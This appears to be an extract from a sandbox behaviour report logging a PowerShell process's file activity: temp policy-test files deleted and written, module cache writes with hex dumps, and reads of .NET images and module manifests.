C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_jg5bteof.tz5.ps1 success or wait 1 7FFA0394F270 DeleteFileW

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_zxw3el1z.0aw.psm1 success or wait 1 7FFA0394F270 DeleteFileW

File Path Offset Length Value Ascii Completion Count Source Address Symbol

unknown 16 19 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69D7D unknown

unknown 35 21 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69D7D unknown

unknown 56 16 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69D7D unknown

unknown 72 8 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69D7D unknown

unknown 80 9 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69D7D unknown

unknown 89 8 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69D7D unknown

unknown 97 9 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69D7D unknown

C:\Users\user\AppData\Local\Te
mp\__PSscr
iptPolicyTest_jg5bteof.tz5.ps1

0 1 31 1 success or wait 1 7FFA0394B526 WriteFile

C:\Users\user\AppData\Local\Te
mp\__PSscr
iptPolicyTest_zxw3el1z.0aw.psm1

0 1 31 1 success or wait 1 7FFA0394B526 WriteFile

unknown 0 94 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69FE5 unknown

unknown 106 45 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69FE5 unknown

unknown 94 778 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69FE5 unknown

unknown 872 187 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69FE5 unknown

unknown 151 13 75 6e 6b 6e 6f 77 6e unknown success or wait 2 7FFA00C69EED unknown

unknown 1059 8 75 6e 6b 6e 6f 77 6e unknown success or wait 4 7FFA00C69FE5 unknown

unknown 1067 223 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69FE5 unknown

unknown 164 13 75 6e 6b 6e 6f 77 6e unknown success or wait 2 7FFA00C69EED unknown

unknown 1290 4214 75 6e 6b 6e 6f 77 6e unknown success or wait 2 7FFA00C69FE5 unknown

unknown 5504 25 75 6e 6b 6e 6f 77 6e unknown success or wait 4 7FFA00C69FE5 unknown

unknown 177 13 75 6e 6b 6e 6f 77 6e unknown success or wait 3 7FFA00C69EED unknown

unknown 216 13 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69EED unknown

unknown 15474 2470 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69FE5 unknown

unknown 17944 4213 75 6e 6b 6e 6f 77 6e unknown success or wait 7 7FFA00C69FE5 unknown

unknown 47294 1984 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69FE5 unknown

unknown 229 13 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69EED unknown

unknown 242 13 75 6e 6b 6e 6f 77 6e unknown success or wait 3 7FFA00C69EED unknown

unknown 50076 542 75 6e 6b 6e 6f 77 6e unknown success or wait 3 7FFA00C69FE5 unknown

unknown 52191 4113 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69FE5 unknown

unknown 56304 649 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69FE5 unknown

unknown 281 13 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69EED unknown

unknown 56953 1386 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69FE5 unknown

unknown 58339 4166 75 6e 6b 6e 6f 77 6e unknown success or wait 8 7FFA00C69FE5 unknown

unknown 62505 4241 75 6e 6b 6e 6f 77 6e unknown success or wait 34 7FFA00C69FE5 unknown

unknown 214338 3043 75 6e 6b 6e 6f 77 6e unknown success or wait 2 7FFA00C69FE5 unknown

File Deleted

File Written
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C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Mod
uleAnalysisCache

0 4096 50 53 4d 4f 44 55 4c 45 
43 41 43 48 45 01 1c 00 
00 00 fd 50 fd 65 9f fd 08 
53 00 00 00 43 3a 5c 50 
72 6f 67 72 61 6d 20 46 
69 6c 65 73 5c 57 69 6e 
64 6f 77 73 50 6f 77 65 
72 53 68 65 6c 6c 5c 4d 
6f 64 75 6c 65 73 5c 50 
6f 77 65 72 53 68 65 6c 
6c 47 65 74 5c 31 2e 30 
2e 30 2e 31 5c 50 6f 77 
65 72 53 68 65 6c 6c 47 
65 74 2e 70 73 64 31 1d 
00 00 00 10 00 00 00 55 
6e 69 6e 73 74 61 6c 6c 
2d 4d 6f 64 75 6c 65 02 
00 00 00 04 00 00 00 69 
6e 6d 6f 01 00 00 00 04 
00 00 00 66 69 6d 6f 01 
00 00 00 0e 00 00 00 49 
6e 73 74 61 6c 6c 2d 4d 
6f 64 75 6c 65 02 00 00 
00 12 00 00 00 4e 65 77 
2d 53 63 72 69 70 74 46 
69 6c 65 49 6e 66 6f 02 
00 00 00 0e 00 00 00 50 
75 62 6c 69 73 68 2d 4d 
6f 64 75 6c 65 02 00 00 
00 0e 00 00 00 49 6e 73 
74 61 6c 6c 2d 53 63 72 
69 70 74 02 00 

PSMODULECACHEPeS
C:\Program Fil
es\WindowsPowerShell\
Modules\P
owerShellGet\1.0.0.1\Po
werShel
lGet.psd1Uninstall-
ModuleinmofimoInstall-
ModuleNew-scr
iptFileInfoPublish-
ModuleInstall-scr<wbr>ipt

success or wait 1 7FFA0394B526 WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Mod
uleAnalysisCache

4096 4096 00 53 74 6f 70 2d 50 72 
6f 63 65 73 73 08 00 00 
00 0f 00 00 00 52 65 73 
74 61 72 74 2d 53 65 72 
76 69 63 65 08 00 00 00 
10 00 00 00 52 65 73 74 
6f 72 65 2d 43 6f 6d 70 
75 74 65 72 08 00 00 00 
0c 00 00 00 43 6f 6e 76 
65 72 74 2d 50 61 74 68 
08 00 00 00 11 00 00 00 
53 74 61 72 74 2d 54 72 
61 6e 73 61 63 74 69 6f 
6e 08 00 00 00 0c 00 00 
00 47 65 74 2d 54 69 6d 
65 5a 6f 6e 65 08 00 00 
00 09 00 00 00 43 6f 70 
79 2d 49 74 65 6d 08 00 
00 00 0f 00 00 00 52 65 
6d 6f 76 65 2d 45 76 65 
6e 74 4c 6f 67 08 00 00 
00 0b 00 00 00 53 65 74 
2d 43 6f 6e 74 65 6e 74 
08 00 00 00 0b 00 00 00 
4e 65 77 2d 53 65 72 76 
69 63 65 08 00 00 00 0a 
00 00 00 47 65 74 2d 48 
6f 74 46 69 78 08 00 00 
00 0f 00 00 00 54 65 73 
74 2d 43 6f 6e 6e 65 63 
74 69 6f 6e 08 00 00 00 
0f 00 00 00 47 65 74 

Stop-ProcessRestart-
ServiceRestore-
ComputerConvert-
PathStart-
TransactionGet-
TimeZoneCopy-I
temRemove-
EventLogSet-ContentN
ew-ServiceGet-
HotFixTest-Conne
ctionGet

success or wait 3 7FFA0394B526 WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Mod
uleAnalysisCache

16384 2710 70 2d 41 70 70 76 43 6c 
69 65 6e 74 50 61 63 6b 
61 67 65 08 00 00 00 19 
00 00 00 50 75 62 6c 69 
73 68 2d 41 70 70 76 43 
6c 69 65 6e 74 50 61 63 
6b 61 67 65 08 00 00 00 
15 00 00 00 53 65 74 2d 
41 70 70 76 43 6c 69 65 
6e 74 50 61 63 6b 61 67 
65 08 00 00 00 1d 00 00 
00 47 65 74 2d 41 70 70 
76 43 6c 69 65 6e 74 43 
6f 6e 6e 65 63 74 69 6f 
6e 47 72 6f 75 70 08 00 
00 00 0b 00 00 00 45 6e 
61 62 6c 65 2d 41 70 70 
76 08 00 00 00 18 00 00 
00 53 74 61 72 74 2d 41 
70 70 76 56 69 72 74 75 
61 6c 50 72 6f 63 65 73 
73 02 00 00 00 18 00 00 
00 47 65 74 2d 41 70 70 
76 50 75 62 6c 69 73 68 
69 6e 67 53 65 72 76 65 
72 08 00 00 00 19 00 00 
00 53 79 6e 63 2d 41 70 
70 76 50 75 62 6c 69 73 
68 69 6e 67 53 65 72 76 
65 72 08 00 00 00 20 00 
00 00 45 6e 61 62 6c 65 
2d 41 70 70 76 43 6c 

p-
AppvClientPackagePubli
sh-App
vClientPackageSet-
AppvClientPackageGet-
AppvClientConnectionG
roupEnable-AppvStart-
AppvVirtualProcessGet-
AppvPublishingSer
verSync-
AppvPublishingServer E
nable-AppvCl

success or wait 1 7FFA0394B526 WriteFile

unknown 221243 52 75 6e 6b 6e 6f 77 6e unknown success or wait 4 7FFA00C69FE5 unknown

unknown 221295 82 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69FE5 unknown

unknown 221560 610 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69FE5 unknown

unknown 320 13 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C69EED unknown

unknown 333 9 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFA00C5BC97 unknown

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-Interactive

0 64 40 00 00 01 65 00 00 00 
00 00 00 00 13 00 00 00 
fd 01 00 00 17 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 

@e success or wait 1 7FFA04F3F6E8 WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-Interactive

64 40 38 00 00 02 04 00 00 00 
00 00 00 00 01 00 00 00 
fd 27 fd fd 11 e3 4c fd fd 
7d 19 b2 0b fd 0b 00 00 
00 0e 00 0f 00 

8'L} success or wait 19 7FFA04F3F6E8 WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-Interactive

104 15 53 79 73 74 65 6d 2e 4e 
75 6d 65 72 69 63 73 

System.Numerics success or wait 19 7FFA04F3F6E8 WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-Interactive

119 1 00 success or wait 12 7FFA04F3F6E8 WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-Interactive

1296 4 6c 06 00 03 l success or wait 1 7FFA04F3F6E8 WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-Interactive

1300 1640 01 0e fd 00 02 0e fd 00 
03 0e fd 00 04 0e fd 00 
05 0e fd 00 06 0e fd 00 
07 0e fd 00 08 0e fd 00 
00 0e fd 00 09 0c fd 00 
0a 0c fd 00 0b 0e fd 00 0c 
0e fd 00 0d 0c fd 00 22 
00 40 00 24 00 40 00 6a 
00 40 00 fd 00 40 00 fd 
00 40 00 fd 00 40 00 fd 
00 40 00 18 00 40 00 57 
00 40 00 09 0e fd 00 0d 
0e fd 00 fd 00 40 0d 69 
01 40 0d 0e 0e fd 00 fd 
00 40 0d 5f 03 40 0d 22 
04 40 0d 23 04 40 0d 45 
00 40 0d 48 02 40 0d 44 
00 40 0d fd 03 40 0d fd 
03 40 0d 0f 0c fd 00 10 
0c fd 00 0f 0e fd 00 0b 00 
40 0e 6a 00 40 0e fd 00 
40 0e fd 00 40 0e fd 00 
40 0e fd 00 40 0e 4d 01 
40 0e 41 01 40 0e 48 01 
40 0e 4f 08 40 0e 4e 08 
40 0e 4f 01 40 0e 51 01 
40 0e 52 01 40 0e 53 01 
40 0e 25 03 40 0e 14 03 
40 0e 38 07 40 0e fd 07 
40 0e 33 07 40 0e 28 05 
40 0e fd 04 40 0e 44 01 
40 0e 50 01 40 

"@$@j@@@@@@W@
@i@@_@"@#@E@H@
D@@
@@j@@@@@M@A@
H@O@N@O@Q@R@S
@%@@8
@@3@(@@D@P@

success or wait 1 7FFA04F3F6E8 WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFA049EB9DD unknown

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFA049EB9DD unknown

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

unknown 4095 success or wait 1 7FFA049EB9DD unknown

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

unknown 6135 success or wait 1 7FFA049EB9DD unknown

C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26
e2af62f23e37e645b5e44068a025\mscorlib.ni.dll.aux

unknown 176 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFA049F2625 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFA049F2625 ReadFile

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

unknown 4095 success or wait 1 7FFA049F2625 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb3
78ec07#\58553ff4dedf0b1dd22a283773a566fc\Microsoft.PowerShel
l.ConsoleHost.ni.dll.aux

unknown 1248 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a171
39182a9efd561f01fada9688a5\System.ni.dll.aux

unknown 620 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\4
e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll.aux

unknown 900 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa5
7fc8cc#\8b2774850bdc17a926dc650317d86b33\System.Management.A
utomation.ni.dll.aux

unknown 2764 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFA049EB9DD unknown

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFA049EB9DD unknown

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFA049EB9DD unknown

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFA049EB9DD unknown

C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf4
9f6405#\dfef7a1e85e28d0ba698946b7fc68a28\Microsoft.Managemen
t.Infrastructure.ni.dll.aux

unknown 748 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manage
ment\d0f4eb5b1d0857aabc3e7dd079735875\System.Management.ni.d
ll.aux

unknown 764 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Dired1
3b18a9#\78d6ee2fdd35fdb45b3d78d899e481ea\System.DirectorySer
vices.ni.dll.aux

unknown 752 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\f2
e3165e3c718b7ac302fea40614c984\System.Xml.ni.dll.aux

unknown 748 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Data\9
9a190301066e9665ec15a1f355a928e\System.Data.ni.dll.aux

unknown 1540 success or wait 1 7FFA04AC12E7 ReadFile

File Read
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C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f
792626#\e64755e76f85a3062b9f5a99a62dcabb\Microsoft.PowerShel
l.Security.ni.dll.aux

unknown 1268 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Transa
ctions\773cde8eca09561aeac8ad051c091203\System.Transactions.
ni.dll.aux

unknown 924 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Config
uration\e82398e9ff6885d617e4b97e31fb4f02\System.Configuratio
n.ni.dll.aux

unknown 864 success or wait 1 7FFA04AC12E7 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PS
Readline.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PS
Readline.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PS
Readline.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PS
Readline.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PS
Readline.psm1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PS
Readline.psm1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

unknown 492 end of file 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1

unknown 774 end of file 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

unknown 4096 success or wait 2 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psm1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psm1

unknown 682 end of file 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown 289 end of file 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown 289 end of file 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PSModule.psm1

unknown 4096 success or wait 114 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PSModule.psm1

unknown 993 end of file 1 7FFA0394B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PSModule.psm1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operatio
n.Validation.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operatio
n.Validation.psd1

unknown 492 end of file 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operatio
n.Validation.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

File Path Offset Length Completion Count Source Address Symbol
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C:\Program Files\WindowsPowerShell\Modules\PackageManagement
\1.0.0.1\PackageManagement.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PackageManagement
\1.0.0.1\PackageManagement.psd1

unknown 774 end of file 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PackageManagement
\1.0.0.1\PackageManagement.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 success or wait 2 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 success or wait 2 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 4096 success or wait 2 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 682 end of file 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PowerShellGet.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PowerShellGet.psd1

unknown 289 end of file 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PowerShellGet.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PowerShellGet.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PowerShellGet.psd1

unknown 289 end of file 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PSModule.psm1

unknown 4096 success or wait 76 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PSModule.psm1

unknown 993 end of file 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PSModule.psm1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PS
Readline.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PS
Readline.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown 637 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown 637 end of file 1 7FFA0394B526 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P52
1220ea#\3fead9bee9d7ca09b54c4ee7c5ed0848\Microsoft.PowerShel
l.Commands.Utility.ni.dll.aux

unknown 2264 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Confe6
4a9051#\b7f41bbfe8914f994b68b89a23570901\System.Configuratio
n.Install.ni.dll.aux

unknown 1260 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

unknown 4096 success or wait 8 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

unknown 128 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management
.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management
.Automation.dll

unknown 4096 success or wait 1 7FFA04AE55FA unknown

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management
.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management
.Automation.dll

unknown 512 success or wait 1 7FFA04AE55FA unknown

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_
4.0.0.0__b77a5c561934e089\System.Core.dll

unknown 4096 success or wait 1 7FFA04AE55FA unknown

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_
4.0.0.0__b77a5c561934e089\System.Core.dll

unknown 512 success or wait 1 7FFA04AE55FA unknown

C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\Mi
crosoft.PowerShell.PSReadline.dll

unknown 4096 success or wait 1 7FFA04AE55FA unknown

C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\Mi
crosoft.PowerShell.PSReadline.dll

unknown 512 success or wait 1 7FFA04AE55FA unknown

stdin unknown 1024 success or wait 1 7FFA0394B526 ReadFile

File Path Offset Length Completion Count Source Address Symbol
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C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown 534 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppBackgr
oundTask\AppBackgroundTask.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppBackgr
oundTask\AppBackgroundTask.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppLocker
\AppLocker.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppLocker
\AppLocker.psd1

unknown 990 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppLocker
\AppLocker.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppLocker
\AppLocker.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppLocker
\AppLocker.psd1

unknown 990 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClien
t\AppvClient.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClien
t\AppvClient.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClien
t\AppvClient.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClien
t\AppvClient.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa5
7fc8cc#\8b2774850bdc17a926dc650317d86b33\System.Management.A
